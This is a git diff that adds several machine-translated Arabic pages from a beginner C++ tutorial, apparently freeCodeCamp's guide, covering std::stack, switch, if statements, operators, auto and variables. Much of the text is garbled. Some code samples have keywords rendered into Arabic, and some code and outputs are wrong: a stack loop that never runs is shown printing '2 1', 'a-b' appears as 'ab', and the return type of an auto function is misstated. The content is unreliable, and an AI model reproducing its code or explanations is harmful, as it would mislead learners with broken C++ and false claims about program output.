+`stack` واحدة من حاويات الأكثر استخدامًا في C ++. الحاوية عبارة عن بنية بيانات تخزن مجموعة من الكائنات ، بعضها في ترتيب ، وبعضها لا. تحتوي كل الحاويات على مجموعة مختلفة من الوظائف التي تسمح لك بالوصول إلى كائن (كائنات) في تلك المجموعة.
+
+`std::stack` هو جزء من المكتبة القياسية C ++ (ومن هنا pred `std::` ويسمح لك بتخزين البيانات في ترتيب Last In First Out (LIFO). ملاحظة: **يجب أن تكون كافة الكائنات الموجودة داخل بنية تخزين من نفس نوع البيانات**
+
+يدخل نوع البيانات الذي تقوم بتخزينه داخل الكدسة داخل أقواس زاوية بجوار الكلمة الرئيسية للمكدس. على سبيل المثال ، إذا كنت ترغب في تخزين مجموعة من الأعداد الصحيحة ، فقد تكون `std::stack<int> stack_name`
+
+### تكدس ليفو شرح
+
+تسمح لك `stack` بالدفع والإبحار بترتيب معين. **دفع** يعني إدراج كائن في الجزء العلوي من المكدس. يعني " **Pop"** سحب آخر كائن مدرج من الجزء العلوي من المكدس. لذلك عندما تضغط عليه في الأعلى وعندما تطفو فإنك تستخرج آخر عنصر مدرج.
+
+![alt text](https://github.com/mohammadaziz313/helloworld/blob/master/Lifo_stack.png "LIFO Stack Push and Pop Example")
+
+### عمليات المكدس
+
+يدعم حاوية المكدس العمليات التالية:
+
+*   إدفع
+*   فرقعة
+*   فارغة
+*   بحجم
+*   الى الخلف
+
+#### إدفع
+
+للسماح لك بإدراج عنصر جديد أعلى الرصة ، فوق العنصر العلوي الحالي.
+
+ `//Push operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  return 0; 
+ } 
+` 
+
+#### أعلى
+
+يسمح لك بالوصول إلى العنصر العلوي دون إزالته من مجموع رقائقك.
+
+ `//Top operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.top()<<'\n';     //Accessing the top of the stack 
+  std::cout<<s.top()<<'\n';     //Accessing the top of the stack 
+ 
+  return 0; 
+ } 
+` 
+
+ `Output: 
+ 2 
+ 2 
+` 
+
+#### فرقعة
+
+يزيل العنصر الموجود أعلى الرصة ، مما يقلل بشكل فعال من حجم الرصة بمقدار واحد.
+
+ `//Pop operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.top()<<'\n';   //Accessing the top of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.top()<<'\n';   //Accessing the top of the stack 
+ 
+ 
+  return 0; 
+ } 
+` 
+
+ `Output: 
+ 2 
+ 1 
+` 
+
+#### بحجم
+
+يرجع عدد العناصر في `stack` .
+
+ `//Size operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+ 
+  return 0; 
+ } 
+` 
+
+ `Output: 
+ 2 
+ 1 
+ 0 
+` 
+
+#### فارغة
+
+إرجاع ما إذا كانت `stack` فارغة ، أي ما إذا كان حجم رصة الورق لديك صفرًا أم لا. تقوم بإرجاع `true` إذا كان حجم مكدس 0 else بإرجاع `false`
+
+ `//Empty operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1); 
+  s.push(2); 
+ 
+  while(s.empty() != false){ 
+      std::cout<<s.top()<<'\n'; 
+      s.pop(); 
+  } 
+ 
+  std::cout<<"Out of loop"<<'\n'; 
+  return 0; 
+ } 
+` 
+
+ `Output: 
+ 2 
+ 1 
+ Out of loop 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/switch-statements/index.md b/client/src/guide/arabic/cplusplus/switch-statements/index.md
new file mode 100644
index 0000000000..cc59e8281c
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/switch-statements/index.md
@@ -0,0 +1,43 @@
+---
+title:Switch Statement
+localeTitle: undefined
+---
+يسمح رمز التبديل باختبار متغير من أجل المساواة في قائمة القيم. تسمى كل قيمة بالحالة ، ويتم تحديد المتغير قيد التشغيل لكل حالة.
+
+بناء الجملة: التبديل (تعبير) { حالة ثابت التعبير: صياغات)؛ استراحة؛ //اختياري حالة ثابت التعبير: صياغات)؛ استراحة؛ //اختياري
+
+// يمكنك الحصول على أي عدد من بيانات الحالة. الافتراضي: // اختياري صياغات)؛ }
+
+تنطبق القواعد التالية على بيان التبديل -
+
+يجب أن يحتوي التعبير المستخدم في عبارة switch على نوع متكامل أو تعداد ، أو يكون من نوع الفئة التي يكون للفئة فيها دالة تحويل مفردة إلى نوع متكامل أو تعداد.
+
+يمكنك الحصول على أي عدد من عبارات الحالة داخل أحد المحولات. كل حالة متبوعة بالقيمة المراد مقارنتها مع النقطتين.
+
+يجب أن يكون التعبير الثابت للحالة هو نفس نوع البيانات المتغير في المحول ، ويجب أن يكون ثابتًا أو حرفيًا.
+
+عندما يكون المتغير قيد التشغيل مساوياً لحالة ما ، سيتم تنفيذ العبارات التالية لهذه الحالة حتى يتم الوصول إلى جملة فاصل.
+
+عند الوصول إلى بيان الفاصل ، ينتهي المحول ، ويقفز تدفق التحكم إلى السطر التالي بعد عبارة التبديل.
+
+لا تحتاج كل حالة لاحتواء استراحة. في حالة عدم ظهور أي انقطاع ، فإن تدفق التحكم سوف ينتقل إلى الحالات اللاحقة حتى يتم الوصول إلى فاصل.
+
+يمكن أن يحتوي بيان التبديل على حالة افتراضية اختيارية ، والتي يجب أن تظهر في نهاية المفتاح. يمكن استخدام الحالة الافتراضية لتنفيذ مهمة عندما لا يكون أيًا من الحالات صحيحًا. لا حاجة إلى كسر في الحالة الافتراضية.
+
+مثال: \`\` \`C ++
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+انت مين () { // تعريف المتغير المحلي: درجة char = 'D'؛
+
+التبديل (الصف) { الحالة "أ": cout << "ممتاز!" << endl ، استراحة؛ الحالة "ب": حالة 'C': cout << "well done" << endl؛ استراحة؛ الحالة "D": cout << "You passed" << endl؛ استراحة؛ حالة "F": cout << "Better try again" << endl؛ استراحة؛ الافتراضي: cout << "grade not grade" << endl؛ } cout << "درجتك" << grade << endl؛
+
+العودة 0 } \`\` \`
+
+انتاج: لقد نجحت درجتك هي د
+
+### مصادر
+
+https://www.tutorialspoint.com
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/terms-to-know-for-beginners/index.md b/client/src/guide/arabic/cplusplus/terms-to-know-for-beginners/index.md
new file mode 100644
index 0000000000..b645090e3a
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/terms-to-know-for-beginners/index.md
@@ -0,0 +1,136 @@
+---
+title: IDE and Printing different text 
+localeTitle: IDE وطباعة نص مختلف
+---
# مقدمة إلى IDE وطباعة نص مختلف:
+
+*   في المقالة الأخيرة ، بعض روابط التنزيل للبرامج المطلوبة للبرمجة. تُعرف برامج مثل هذا بـ IDE. **IDE تعني بيئة التطوير المتكاملة**
+
+## تتكون IDEs بشكل أساسي من 3 أنواع من البرامج:
+
+**1 محرر: محرر** نص معدّل قليلاً لجعل الترميز سهلاً. مثال المحرر للتشفير هو Notepad ++.
+
+**2 Debugger:** برنامج يساعدك في العثور على أخطاء في البرنامج ، وحلها قبل التنفيذ. تخيل تحطم تطبيق FaceBook عند تحميل تطبيق أو لعبة ما يؤدي إلى حدوث انهيار مفاجئ. لمنع تنفيذ خاطئ لبرنامج ، المصحح هو صديق أفضل مبرمج.
+
+**3 Compiler:** المترجم هو ذلك الجزء من الكمبيوتر الذي يحول رمز البرنامج الخاص بك إلى مستوى رفيع إلى رمز الآلة البسيطة: 0s & 1s؛ بحيث يفهم الكمبيوتر الأوامر وينفذها. من الآن فصاعداً ، سنفكر في كلمة **مترجم بشكل** متكرر.
+
+_س: جرب البحث عن IDE على Google وتشغيل برنامجك الأول عليه. تحقق من الإخراج_
+
+الآن ، قم بتثبيت IDE وحاول تغيير النص من البرنامج في المقالة الأخيرة.
+
+### تغيير النص على C ++
+
+*   لتغيير النص ، قم بتغيير ما كتبته في `""` `cout<<`
+
+برنامج عينة:
+
+ `#include <iostream> 
+ using namespace std : 
+ int main() 
+ { 
+    cout << "I Love freeCodeCamp ! "; 
+ } 
+` 
+
+تقوم التعليمة البرمجية الموجودة أعلاه بإرجاع خطأ لأنه في السطر 2 ، استخدمنا نقطتين (:) بدلاً من فاصلة منقوطة (؛) لذا ، دعنا نصحح الخطأ:
+
+ `#include <iostream> 
+ using namespace std ; 
+ int main() 
+ { 
+    cout << "I Love freeCodeCamp ! "; 
+    return 0; 
+ } 
+` 
+
+لاحظ أن البرنامج الآن يعمل على أكمل وجه. سوف يكون الإخراج: `I Love freeCodeCamp!`
+
+### الآن ، دعنا نغير النص إلى شيء آخر مثل هذا:
+
+ `    cout << "Hello World!\t I love freeCodeCamp!"; 
+` 
+
+سيكون الإخراج شيء مختلف هذه المرة:
+
+ `Hello World!     I love freeCodeCamp! 
+` 
+
+إذا أدركت ، أنشأ الأمر `\t` _مساحة تبويب_ بين النصين. هذا هو نوع واحد من الأوامر الخاصة في C ++. تُعرف هذه الأوامر الخاصة باسم _تسلسل Escape_ . يتم استخدامها لطباعة أحرف خاصة معينة لا يمكن عرض المترجم.
+
+#### تسلسلات هروب مفيدة:
+
+*   `\'` لطباعة فاصلة معكوسة واحدة
+*   `\"` لطباعة فاصلة مزدوجة معكوسة
+*   `\n` للطباعة على سطر جديد
+*   `\t` لعلامة تبويب أفقية
+*   `\f` لصفحة جديدة
+*   `\\` لخط مائل عكسي
+*   `\?` لعلامة استفهام
+
+##### الآن ، لنحاول طباعة أرقام وأحرف خاصة مع بعض تسلسلات الهروب:
+
+ `    cout << "40158 \t 236708 ! \n \\ @ \?" << endl; 
+` 
+
+يتغير الإخراج إلى:
+
+ `40158      236708 ! 
+ \ @ ? 
+` 
+
+##### لنجرب بعض الطرق الأخرى للطباعة:
+
+ `    cout << "1+2" << endl; 
+    cout << 1+2 << endl; 
+` 
+
+انتاج:
+
+*   بيان الإخراج الأول هو `1+2`
+*   بيان الإخراج الثاني هو `3`
+
+هذا لأننا لم نقم بإضافة الفواصل المقلوبة لبيان الطباعة الثاني ولذلك قام المترجم بإضافة الأرقام قبل طباعتها.
+
+#### تعليقات:
+
+*   تعتبر التعليقات ميزة مهمة للعديد من لغات البرمجة. أنها تسمح للمبرمج لتدوين الملاحظات للمساعدة الذاتية ، ولن يؤثر على تشغيل البرنامج.
+
+**الأنواع المختلفة من التعليقات وصيغة تعليق أحد التعليقات** :
+
+1 `//` ~ _Single Line تعليقات_ : طول هذه التعليقات عبارة عن سطر واحد (السطر المكتوب عليه). 2 `/* */` ~ _التعليقات متعددة الخط_ : يمكن أن تأخذ هذه التعليقات مساحة أكثر من سطر واحد.
+
+#### مثال على استخدام التعليقات:
+
+\`\` \`حزب الشعب الكمبودي cout << "Hello comment" << endl؛ // cout << "Hello Comment" << endl؛ تعليق واحد على الخط.
+
+ `/* This is an example of a multi line comment. No output is generated for this . 
+ I now end the comment.  :) */ 
+` 
+
+\`\` \`
+
+سيكون الناتج:
+
+`Hello Comment`
+
+كما قد تلاحظ ، يتم تجاهل التعليقات أثناء تنفيذ البرنامج ولا تظهر على التحقق من إخراج البرنامج. تجدر الإشارة إلى أنه على الرغم من أن التعليقات تضيف مستوى إضافيًا من قابلية القراءة إلى رمز واحد ، فمن عادتها أن تعتمد بشدة على التعليقات لوصف المنطق في شفرتك. بشكل عام ، يجب أن تتحدث الشفرة عن نفسها وتعكس نية المبرمج.
+
+كما قد تلاحظ ، يتم تجاهل التعليقات أثناء تنفيذ البرنامج ولا تظهر على التحقق من إخراج البرنامج.
+
+#### العاملين
+
+*   يسمح لك المشغلون بمقارنة تعبيرين أو أكثر
+*   `==` يساوي
+*   `!=` لا يساوي
+*   `<` أقل من
+*   `>` أكبر من
+*   `<=` أقل من أو يساوي
+*   `>=` أكبر من أو يساوي
+
+ `    (7==5); 
+` 
+
+هذا يقيّم إلى false
+
+`cpp (7!=5);` هذا بتقييم صحيح
+
+[تجميع كافة عبارات الطباعة المستخدمة في هذه المقالة. لا تتردد في تعديل كلمة woth code! :)](https://repl.it/L4ox)
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/the-auto-feature/index.md b/client/src/guide/arabic/cplusplus/the-auto-feature/index.md
new file mode 100644
index 0000000000..c3e6cd2428
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/the-auto-feature/index.md
@@ -0,0 +1,71 @@
+---
+title: The Auto Feature
+localeTitle: الميزة التلقائية
+---
+## الميزة التلقائية
+
+`auto` هي ميزة C ++ 11 تتيح للمبرمج إمكانية استنتاج نوع البيانات في تعريف. هذا يمكن أن يوفر لك الكثير من الكتابة ، وخاصة مع أنواع معقدة.
+
+بدون `auto` :
+
+ `double x = 10.425; 
+ double y = x * x; 
+` 
+
+مع `auto` :
+
+ `double x = 10.425; 
+ auto y = x * x; 
+` 
+
+في حين أنه قد يبدو تافهاً ، فإنه يصبح مفيداً بشكل لا يصدق عندما تبدأ أنواع البيانات في التعقيد. على سبيل المثال ، افترض أنك تريد تخزين [`vector`](https://guide.freecodecamp.org/cplusplus/vector) من الموظفين ، وأنك مهتم فقط باسمهم وعمرهم. إحدى الطرق لتخزين الاسم والعمر يمكن أن تكون `pair` `string` وأخرى `unsigned int` . يتم `std::vector<std::pair<std::string, unsigned int>> employees` كـ `std::vector<std::pair<std::string, unsigned int>> employees` . الآن لنفترض أنك تريد الوصول إلى آخر موظف تمت إضافته:
+
+ `std::vector<std::pair<std::string, unsigned int>> employees; 
+ 
+ // without auto, you have to write: 
+ std::pair<std::string, unsigned int>> last_employee = employees.back(); 
+ 
+ // with auto, you just have to write: 
+ auto last_employee = employees.back(); 
+` 
+
+بمجرد تحديد المحول البرمجي للنوع على الجانب الأيمن من `=` يستبدل `auto` بهذا النوع.
+
+في الإصدارات الحديثة من C ++ (منذ C ++ 14)، `auto` يمكن أن تستخدم أيضا في تعريف الدالة كنوع العودة. سوف يقوم المترجم بعد ذلك باستنتاج نوع الإرجاع من بيان الإرجاع داخل الدالة. على سبيل المثال مع الموظفين:
+
+ `std::vector<std::pair<std::string, unsigned int>> employees; 
+ auto get_last_employee() { 
+    return employees.back(); // Compiler knows the return type from this line. 
+ } 
+` 
+
+سيعرف المحول البرمجي من السطر مع العبارة الإرجاع أنه يجب أن يكون نوع الإرجاع من الدالة `std::vector<std::pair<std::string, unsigned int>>` .
+
+على الرغم من [كونها](http://en.cppreference.com/w/cpp/language/auto) تقنية للغاية ، إلا أن [صفحة cppreference على السيارات](http://en.cppreference.com/w/cpp/language/auto) تصف الكثير من الاستخدامات `auto` وتفاصيل متى يمكن استخدامها أو لا يمكن استخدامها.
+
+### `auto` قبل C ++ 11
+
+في بعض الكتب المدرسية القديمة التي تحتوي على شفرة قديمة _جدًا_ ، يتم استخدام الكلمة الرئيسية `auto` بطريقة مختلفة تمامًا.
+
+كانت هذه `auto` المحددة عبارة عن كلمة رئيسية مستعارة من C ، وربما كانت الكلمة الرئيسية الأقل استخدامًا على الإطلاق.
+
+في C ++ ، تحتوي كل المتغيرات على _مدة تلقائية_ ، أي أنها محددة حتى تخرج من الوظيفة التي تم تعريفها بها.
+
+فمثلا:
+
+\`\` \`حزب الشعب الكمبودي
+
+# تتضمن
+
+انت مين() { كثافة العمليات أ = 1 ؛ // المنطقي ، كما تم تعريفه في نفس الوظيفة
+
+ `    return 0; 
+` 
+
+} أ = 2 ؛ // لا معنى له ، حيث لا يتم تعريف هنا \`\` \`
+
+هذا معطى في C ++ ، وحدد `auto` أن المتغير يجب أن يكون له _مدة تلقائية_ ، وبالتالي عدم الاستخدام.
+
+## قراءة متعمقة :
+
+*   http://www.stroustrup.com/C++11FAQ.html#auto
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/the-if-statement/index.md b/client/src/guide/arabic/cplusplus/the-if-statement/index.md
new file mode 100644
index 0000000000..bd968c50fa
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/the-if-statement/index.md
@@ -0,0 +1,92 @@
+---
+title: C++ If Statement
+localeTitle: C ++ If Statement
+---
# بيان IF.
+
+**ماذا يفعل بيان if؟**
+
+*   يقوم بيان `if` بتقييم تعبير الاختبار الموجود داخل الأقواس.
+*   تستخدم عبارة `if` معاملات علائقية ومنطقية لإجراء تعابير منطقية.
+
+* * *
+
+الشكل العام لبيان `if` :
+
+ `  if (Test Expression / Condition) 
+  { 
+    // Block of statements if test expression is True 
+  } 
+` 
+
+إذا كانت قيمة تعبير الاختبار **صحيحة** ، فإن كتلة التعبير كود داخل العبارة اذا تم تنفيذها.
+
+إذا كانت قيمة التعبير التجريبي **خاطئة** ، فإن كتلة التعبير كود داخل العبارة إذا تم تخطيها واستمرار التعليمة البرمجية الخاصة بك.
+
+مثال `if` البيان:
+
+ `  int a = 10; 
+ 
+  // true statement 
+  if (a < 20) 
+  { 
+    // execute this block of code 
+  } 
+ 
+  // false statement 
+  if (a < 0) 
+  { 
+    // Skip this block of code. 
+  } 
+` 
+
+مثال في C ++:
+
+ `  // Program to check if number entered by the user is positive 
+  // If negative, the block of code is skipped 
+ 
+  #include <iostream> 
+  using namespace std; 
+ 
+  int main() 
+  { 
+    int no ; 
+    cout << "Enter a number: "; 
+    cin >> no; 
+ 
+    // if statement to check if the number is positive 
+    if ( no > 0) 
+    { 
+      cout << "You have entered a positive number: " << no << endl; 
+    } 
+ 
+    // If number is not positive, then if statement is skipped a program continues 
+    cout << "This step is always printed" << endl; 
+ 
+    return 0; 
+  } 
+` 
+
+**انتاج:**
+
+مخرج 1:
+
+ `Enter a number: 5 
+ You have entered a positive number: 5 
+ This step is always printed 
+ ``` 
+ This is the output when the number entered is positive. 
+ 
+ OUTPUT 2: 
+` 
+
+أدخل رقمًا: -1 تتم دائمًا طباعة هذه الخطوة \`\` \` هذا هو الإخراج عندما يكون الرقم الذي تم إدخاله سالبًا.
+
+[جرب الرمز بنفسك! :)](https://repl.it/Mg9X)
+
+_تهانينا . هذه هي نهاية المقالة على جملة IF_
+
+**حظا سعيدا لكم جميعا**
+
+**الترميز سعيدة! :)**
+
+**لا تتردد في طرح أي استفسارات على صفحة GitHub [FreeCodeCamp](https://forum.freecodecamp.org/) أو [منتدى FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/tokens-operators/index.md b/client/src/guide/arabic/cplusplus/tokens-operators/index.md
new file mode 100644
index 0000000000..e6ab74d749
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/tokens-operators/index.md
@@ -0,0 +1,183 @@
+---
+title: Operators
+localeTitle: العاملين
+---
# العاملين :
+
+*   يسمح لك المشغلون بإجراء عمليات على بياناتك.
+*   تسمى البيانات التي يتم تشغيلها باسم _المعامل_ .
+*   الأنواع المختلفة لمشغلي C ++ هي:
+*   _OPERANDS_ هي البيانات التي يقوم المشغل _بتنفيذها_ بأوامر معينة.
+*   المشغلين من 3 أنواع: أحادي (يعمل على 1 المعامل) ، ثنائي (يعمل على 2 معاملات) ، ثلاثي (يعمل على 3 معاملات).
+
+### 1 مشغلات الإدخال / الإخراج -
+
+*   تسمح لك هذه المشغلات بتوجيه الإدخال والإخراج.
+    
+    ## مهارة الإدخال ">>" ##
+    
+    يُستخدم لقراءة البيانات من الإدخال القياسي (بيان "cin").
+    
+    ## عامل الإخراج "<<"
+    
+    يستخدم لإرسال الإخراج في بيان `cout` .
+    
+
+### 2 المشغلين الحساب -
+
+*   تتيح لك هذه الشركات إجراء العمليات الحسابية الأساسية.
+
+1.  _يضيف_ عامل التشغيل `+` المعاملين.
+    
+2.  يقوم `-` المشغل _بطرح_ المعاملتين.
+    
+3.  يقوم المشغل `*` _بضرب_ المعاملتين.
+    
+4.  _يقسم_ `/` المشغل ويعطي _حاصل_ المعاملان.
+    
+5.  _يقسم_ عامل التشغيل `%` ويعطي _الباقي_ من المنطقتين. (أو ، بالنسبة إلى القارئ المائل رياضياً ، `a % b` هو أساسًا نتيجة "mod b"
+    
+    ### مثال على استخدام العوامل الحسابية:
+    
+    \`\` \`حزب الشعب الكمبودي
+    
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+انت مين() { int a = 5؛ // المعامل الأول int b = 10؛ // المعامل الثاني
+
+ `    cout << "+ operator " << a+b << "\n"; //Add 
+    cout << "- operator " << ab << "\n"; //Subtract 
+    cout << "* operator " << a*b << "\n"; //Multiply 
+    cout << "/ operator " << b/a << "\n"; //Find Quotient 
+    cout << "modulus operator " << b%a << "\n"; //Find remainder 
+ 
+    return 0; 
+` 
+
+} \`\` \`
+
+انتاج :
+
+ `+ operator 15 
+ - operator -5 
+ * operator 50 
+ / operator 2 
+ modulus operator 0 
+` 
+
+[جرب الرمز بنفسك! :)](https://repl.it/Mge9)
+
+### عامل الزيادة:
+
+*   `++` يُعرف باسم عامل الزيادة. يزيد من قيمة متغير عدد صحيح بواسطة 1.
+
+نوعان من الزيادة:
+
+*   الزيادة الأولية تقوم أولاً بزيادة القيمة ثم تستخدمها. مثال: `int a ; ++a;`
+*   زيادة البريد أولاً يستخدم المتغير ثم زيادة عليه. مثال: `int b; b++;`
+
+### مشغل التناقص:
+
+*   `--` يعرف باسم مشغل تناقص. يقلل من قيمة متغير عدد صحيح بواسطة 1.
+
+نوعان من تناقص:
+
+*   قبل decrement أولاً decrements القيمة ويستخدمها. مثال: `int a ; --a;`
+*   يستخدم decrement بوست أولاً المتغير ثم تقليله. مثال: `int b; b--;`
+
+مثال لمشغلي الزيادة والانقاص:
+
+ `#include <iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+        int a = 3 ,b = 4; 
+ 
+         // INCREMENT 
+        cout<< "Value of int a PRE INCREMENTED : " << ++a << "\n"; 
+        cout<< "Value of int b POST INCREMENTED : " << b++ << "\n"; 
+        cout<< "Value of b is changed after using once : " << b << "\n"; 
+ 
+         // DECREMENT 
+        cout << "\n"; //go to next line 
+        a = 10; //Assigning a new value to a 
+        b = 10; //Assigning a new value to b 
+        cout << "Value of int a PRE DECREMENTED : " << --a << "\n"; 
+        cout << "Value of int b POST DECREMENTED : " << b-- << "\n"; 
+        cout << "Value of b is changed after using once : " << b << "\n"; 
+ 
+        return 0; 
+ } 
+` 
+
+انتاج :
+
+ `Value of int a PRE INCREMENTED : 4 
+ Value of int b POST INCREMENTED : 4 
+ Value of b is changed after using once : 5 
+ 
+ Value of int a PRE DECREMENTED : 9 
+ Value of int b POST DECREMENTED : 10 
+ Value of b is changed after using once : 9 
+` 
+
+[جرب الرمز بنفسك! :)](https://repl.it/Mgg4/2)
+
+### 3: العلاقات العلائقية:
+
+*   تخبرنا عوامل التشغيل هذه العلاقة بين المعاملات 2 وإرجاع قيمة منطقية (0 أو 1). إذا كانت العلاقة `true` فإنه يؤدي إلى 1. إذا كان realtion غير صحيح فإنه ينتج 0.
+    
+*   المشغلين العلائقيين الستة هم:
+    
+    1.  أقل من `<`
+    2.  أكبر من `>`
+    3.  أقل من أو يساوي `<=`
+    4.  أكبر من أو يساوي `>=`
+    5.  يساوي `==`
+    6.  لا يساوي `!=`
+
+### 4: المشغلات المنطقية:
+
+*   تجمع عوامل التشغيل هذه بين التعبيرات الخاصة بالعمليات المنطقية. هم انهم :
+
+1.  منطقية AND `&&` : يتم تقييمها إلى true إذا كانت كلتا القيمتين صحيحة.
+    
+2.  منطقية أو `||` : تقيم إلى true إذا كانت أي قيمة صحيحة.
+    
+3.  منطقي لا `!` : إذا كان _التعبير_ صحيحًا ، فإن _التعبير_ هو false. هذا المشغل يعكس قيمة الحقيقة وهو مشغل وحيد.
+    
+    ### 5\. المشغلين الدائمين:
+    
+    عامل التشغيل `?:` هو المشغل الثلاثي ، أو _المشغل الشرطي_ ، لأنه يمكن استخدامه لاستبدال بيان `if else` ، أو حتى `if else if` statement. بناء الجملة:
+    
+
+`condition ? ValueIfTrue : ValueIfFalse` . هذا يوسع إلى:
+
+ `if(condition) 
+ ValueIfTrue; 
+ else ValueIfFalse; 
+` 
+
+إن استدعاء القيمة `ValueIfTrue` هو أمر خاطئ قليلاً ، لأنه لا يلزم أن يكون رقمًا. شيء من هذا القبيل:
+
+`condition ? FirstLevelTrueValue : ConditionIfFalse ? SecondLevelTrueValue : SecondLevelFalseValue` يعمل أيضًا ، ويتم تفسيره كإجراء `if else if` :
+
+ `if(condition) 
+ FirstLevelTrueValue; 
+ else if(ConditionIfFalse) 
+ SecondLevelTrueValue; 
+ else SecondLevelFalseValue; 
+` 
+
+وبالمثل، متداخلة `if` يمكن أيضا أن تكون البيانات باستخدام مشغلي الثلاثي.
+
+_العربة ، أنت الآن تعرف ما هي الرموز. المقالة القادمة ستكون على وشك_ _تهانينا_
+
+**حظا سعيدا لكم جميعا**
+
+**الترميز سعيدة! :)**
+
+**لا تتردد في طرح أي استفسارات على صفحة GitHub [FreeCodeCamp](https://forum.freecodecamp.org/) أو [منتدى FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/arabic/cplusplus/tokens-variables/index.md b/client/src/guide/arabic/cplusplus/tokens-variables/index.md
new file mode 100644
index 0000000000..9a5abfd871
--- /dev/null
+++ b/client/src/guide/arabic/cplusplus/tokens-variables/index.md
@@ -0,0 +1,202 @@
+---
+title: Tokens Part 1
+localeTitle: توكنز الجزء الأول
+---
### ما هي الرموز المميزة؟
+
+الرموز هي أصغر الوحدات في البرنامج والتي تعتبر مهمة بالنسبة إلى المترجم. هناك أنواع مختلفة من الرموز:
+
+*   الكلمات الدالة
+    
+*   العاملين
+    
+*   Punctuators
+    
+*   الحرفية
+    
+*   معرفات
+    
+*   **مزيج من الرموز تشكل تعبيرا**
+    
+
+### ما هي المتغيرات؟
+
+*   تعريف الكتب: تُسمى المتغيرات أسماء الذاكرة التي يمكن تغيير بياناتها.
+    
+*   لكنني أود منك أن تفكر في متغير ليصبح شيئًا مثل مربع ، شيء من هذا القبيل: ![IMG](https://i.imgur.com/YdbgWHL.png)
+    
+
+لذلك ، على سبيل المثال: أنا أتحول إلى مكان جديد وأحتاج لترتيب الأشياء الخاصة بي في المربعات. وهكذا ، هناك شيئان في ذاكرتي ، **أي نوع من الأشياء سيتم تخزينها في الصندوق ، بحيث يكون الحجم خارج الصندوق معروفًا (نوع البيانات)** **وكيف يمكنني تحديد المربع؟ (تسمية المتغير)**  
+ومن ثم ، فإننا نعلم أن المتغير في C ++ يحتاج إلى _اسم_ _ونوع بيانات_ وأن القيمة المخزنة فيه يمكن تغييرها.
+
+### أنواع البيانات في C ++:
+
+عند التصريح عن المتغيرات في c ++ يجب أن يكون لها اسم ستقوم بإعادة كتابته لاحقاً ، قيمة (ثابتة أم لا) ونوع. سيخبر النوع المحول البرمجي بالقيم التي يمكن للمتغير استخدامها ، والعمليات المحتملة ، وسيحفظ مساحة معينة في الذاكرة. في c ++ يوجد نوعان من البيانات:
+
+*   نوع بسيط
+*   نوع البناء
+
+### أنواع البيانات البسيطة
+
+*   منطقية - بولي يعمل مثل التبديل ، يمكن تشغيله أو إيقافه.
+*   حرف - شار يخزن شخصية واحدة.
+*   عدد صحيح - int يخزن [عددًا صحيحًا](https://en.wikipedia.org/wiki/Integer) .
+*   نقطة عائمة - تعويم يمكنهم استخدام الكسور العشرية.
+*   نقطة عائمة مزدوجة - مزدوجة دقة مزدوجة لنوع العوامة.
+
+هنا يمكنك أن ترى بعض الأمثلة:
+
+ `bool GameRunning = true; 
+ char a; 
+ int x = 2; 
+` 
+
+#### يمكن أيضًا تعديل هذه الأنواع باستخدام معدِّلات مثل:
+
+وقعت غير موقعة قصيرة طويل
+
+### نوع البيانات الهيكلية
+
+#### معرفات.
+
+*   المعرفات هي الأسماء المعطاة لمتغير أو فئة أو دالة أو وظيفة محددة من قبل المستخدم.
+
+## قواعد تسمية المتغير:
+
+*   ابدأ التسمية بحرف من AZ أو az.
+*   يمكن أن تتبع الأرقام الحرف الأول لكن لا يمكننا البدء في تسمية بالأرقام.
+*   لا يسمح باستخدام المسافات أو الأحرف الخاصة ، بدلاً من ذلك ، استخدم UNDERSCORE \_.
+
+#### التصريح عن المتغير:
+
+بناء الجملة كما يلي < _نوع البيانات_ > < _اسم متغير_ > ؛ أو < _نوع البيانات_ > < _اسم المتغير_ > = < _القيمة_ > ؛ إذا أردنا أيضًا تهيئة المتغير.
+
+فمثلا : `cpp int a ; //declaring a variable named 'a' of type integer. a=4; //initializing a variable int b = 5 ; //declaring and initializing a variable 'b' of type integer.`
+
+**أمثلة على إعلان متغير:**
+
+ `int a9; 
+ char A; 
+ double area_circle; 
+ long l; 
+` 
+
+**طرق خاطئة لإعلان المتغيرات** -
+
+ `int 9a; 
+ char -a; 
+ double area of circle; 
+ long l!!; 
+` 
+
